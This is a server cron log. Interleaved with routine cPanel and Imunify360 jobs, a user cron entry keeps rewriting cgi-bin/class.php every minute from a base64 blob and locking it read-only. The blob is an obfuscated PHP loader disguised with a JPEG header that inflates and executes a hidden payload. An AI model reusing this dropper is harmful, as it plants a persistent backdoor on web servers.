Aug 31 22:38:01 server CROND[3379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:38:01 server CROND[3380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:38:01 server CROND[3381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:39:01 server CROND[3751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:39:01 server CROND[3752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:39:01 server CROND[3753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:39:01 server CROND[3754]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 22:40:01 server CROND[4234]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 22:40:01 server CROND[4235]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:40:01 server CROND[4237]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 22:40:01 server CROND[4241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:40:01 server CROND[4249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:40:01 server CROND[4247]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 22:40:02 server CROND[4242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:40:02 server CROND[4248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:41:01 server CROND[5053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:41:01 server CROND[5055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:41:01 server CROND[5054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:42:01 server CROND[5427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:42:01 server CROND[5426]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 22:42:01 server CROND[5429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:42:01 server CROND[5428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:43:01 server CROND[5802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:43:01 server CROND[5801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:43:01 server CROND[5803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:44:01 server CROND[6180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:44:01 server CROND[6181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:44:01 server CROND[6182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:45:01 server CROND[6656]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:45:01 server CROND[6658]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 22:45:01 server CROND[6662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:45:01 server CROND[6664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:45:01 server CROND[6660]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 22:45:01 server CROND[6663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:45:01 server CROND[6659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:46:01 server CROND[7502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:46:01 server CROND[7501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:46:01 server CROND[7503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:47:01 server CROND[7882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:47:01 server CROND[7883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:47:01 server CROND[7884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:48:01 server CROND[8264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:48:01 server CROND[8265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:48:01 server CROND[8266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:49:01 server CROND[8633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:49:01 server CROND[8634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:49:01 server CROND[8635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:50:01 server CROND[9032]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 22:50:01 server CROND[9033]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:50:01 server CROND[9036]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
